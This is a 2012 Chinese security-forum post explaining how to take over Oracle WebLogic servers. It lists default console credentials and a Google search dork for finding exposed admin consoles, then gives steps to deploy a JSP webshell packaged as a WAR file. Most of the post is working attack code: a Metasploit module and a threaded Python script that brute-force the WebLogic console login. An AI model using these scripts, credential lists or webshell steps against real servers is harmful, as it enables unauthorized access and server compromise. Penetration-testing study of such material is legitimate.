本帖最后由 花开若相惜 于 2012-6-3 15:59 编辑
潜水那么久了,内心感到愧疚啊,给论坛发点自己写的东西......
(没什么技术性的东西,纯属科普文)
在渗透测试中有几种服务器是经常见到的,所以作为渗透工程师这些利用的方法也是必须要掌握的。
比如:Tomcat,weblogic,websphere,jboss,jonas
这些只要得到了后台的账号密码,就能拿到webshell。
时间的关系 我现在只写weblogic的 不知道利用方法的,自己google搜索学习。或许哪天我会继续写下去…..
Weblogic:
后台页面:http://127.0.0.1:7001/console(http为7001,https为7002)
外部图片
Google关键字:WebLogic Server Administration Console inurl:console
(少年们,别去搞破坏)
默认的用户名密码
1、用户名密码均为:weblogic
2、用户名密码均为:system
3、用户名密码均为:portaladmin
4、用户名密码均为:guest
上传地方:
workshop> Deployments> Web应用程序> 部署新的 Web 应用程序模块…
上传war的webshell。
就是jsp文件打包,可以使用jdk/JRE自带的jar命令进行打包。
命令如下:
切换到要打包的目录
jar -cvf job.war *
上传后 目标模块->部署。
外部图片
Webshell地址:www.site.com/部署名字/shell名字
下面是毒药编写的MSF模块:
(在跟他在一起工作的时候学到了挺多东西,这里要感谢一下他对我的指导。)##
$Id: weblogic_administration.rb 2012-03-06
This file is part of the Metasploit Framework and may be subject to
redistribution and commercial restrictions. Please see the Metasploit
web site for more information on licensing and terms of use.
http://metasploit.com/
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::WmapScanServer
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Weblogic Administration Tool Default Access',
'Version' => '',
'Description' =>'',
'References' =>
[
['URL','http://www.oracle.com/us/products/middleware/application-server/index.htm'],
],
'Author' => 'pois0n <[email protected]>',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(7001),
OptString.new('WEBLOGIC_USER',[false,'The username to authenticate as','']),
OptString.new('WEBLOGIC_PASS',[false,'The password for the specified username','']),
],self.class)
end
def run_host(ip)
begin
res = send_request_cgi(
{
'uri' => '/console/login/LoginForm.jsp',
'method' => 'GET'
},30)
http_fingerprint({:response => res})
# print_status "#{res.body}"
if (res and res.code == 200)
ver ="test"
if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/ADMINCONSOLESESSION=(.);(.)/i))
adminconsolesessionid = $1
end
if res.body.match(/<TITLE>WebLogic(.*)</TITLE>/i)
ver ="WebLogic" + $1
end
#print_status "#{ver}"
user =datastore['WEBLOGIC_USER'].to_s
pass =datastore['WEBLOGIC_PASS'].to_s
if user.length == 0
default_usernames = ['portaladmin','system','guest','admin','weblogic']
else
default_usernames = [user]
end
if pass.length == 0
default_passwords = ['portaladmin','weblogic','admin','system','guest']
else
default_passwords = [pass]
end
default_usernames.each do |username|
default_passwords.each do |password|
post_data = "j_username=#{username}&j_password=#{password}"
res = send_request_cgi(
{
'uri' => '/console/j_security_check',
'method' => 'POST',
'content-type' => 'application/x-www-form-urlencoded',
'cookie' => "ADMINCONSOLESESSION=#{adminconsolesessionid}",
'data' => post_data,
}, 30)
#print_status "#{res.body}"
if (res.code ==302)
res = send_request_cgi(
{
'uri' => "/console",
'method' => 'GET',
'cookie' => "ADMINCONSOLESESSION=#{adminconsolesessionid}",
}, 30)
if (res.code == 302)
res = send_request_cgi(
{
'uri' => "/console/actions/common/PreferencesAction",
'method' => 'GET',
'cookie' => "ADMINCONSOLESESSION=#{adminconsolesessionid}",
}, 30)
if (res.code == 200)
print_good "Successful login:: http://#{target_host}:#{rport}/console# [#{ver}] [WebLogic Server Administration] #{username}:#{password}"
end
res = send_request_cgi(
{
'uri' => "/console/actions/common/LogoutAction",
'method' => 'GET',
'cookie' => "ADMINCONSOLESESSION=#{adminconsolesessionid}",
}, 30)
end
end
end
end
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end使用方法:
use 模块->show options->set RHOSTS ip->exploit
外部图片
外部图片
下面是我用Python写的利用代码,是我昨天发布的通用后台爆破脚本做了一点点修改。
Python利用代码:
#/usr/bin python
# -*- coding: cp936 -*-
import httplib,urllib,sys,os
import threading
import Queue
import re
def info():
print '''
=========================================
Weblogic login crack
uage:xx.py url
WelCome to www.paxmac.org
By: 花开、若相惜
Pax.Mac Team
=========================================
'''
if len(sys.argv) < 2:
info()
else:
url=sys.argv[1]
info()
uname_count = len(open('uname.txt','rU').readlines())
print '你的账号条数:%d'%(uname_count)
pwd_count = len(open('pwd.txt','rU').readlines())
print '你的密码条数:%d'%(pwd_count)
print '正在破解........'
conn = httplib.HTTPConnection(url,7001)
conn.request("GET",'/console/login/LoginForm.jsp')
cookie=conn.getresponse().getheaders()
string=str(cookie[1])
pattern = re.compile(r'ADMINCONSOLESESSION=(.*);')
match = pattern.search(string)
if match:
cookie=match.group()
queue=Queue.Queue()#创建一个队列对象
success=[]
class ThreadUrl(threading.Thread):
def __init__(self,queue):
threading.Thread.__init__(self)
self.queue=queue
def run(self):
while True:
try:
if(Queue.Empty):
pwd=self.queue.get()
else:
break
params = urllib.urlencode({'j_username':LOG,
'j_password':pwd
})
headers = {"Content-Type":"application/x-www-form-urlencoded",
"Connection":"Keep-Alive","Cookie":cookie}
conn = httplib.HTTPConnection(url,7001)
conn.request(method="POST",url='/console/j_security_check',body=params,headers=headers)
response = conn.getresponse()
if response.status == 302:
final="破解成功!^_^!账号:%s密码:%s"%(LOG,pwd)
print final
success.append(final)
else:
conn.close()
except:
print '连接超时'
self.queue.task_done()
def main():
for i in range(10):
t=ThreadUrl(queue)
t.setDaemon(True)
t.start()
names = [line.rstrip() for line in open("uname.txt")]
pwds = [line.rstrip() for line in open("pwd.txt")]
for log in names:
global LOG
LOG=''
LOG=log
for pwd in pwds:
p=pwd
queue.put(p)
queue.join()
if name == 'main':
main()
txt=('%s.txt')%(sys.argv[1])
for x in success:
file=open(txt,'w')
file.write(x)
file.close()
外部图片
ps:一个账号超过5次错误会锁定一个小时(时间如果没记错的话)。有人跟我说没多少可以利用的,事实上是因为企业都放在内网了,很多企业的内网都存在着弱口令......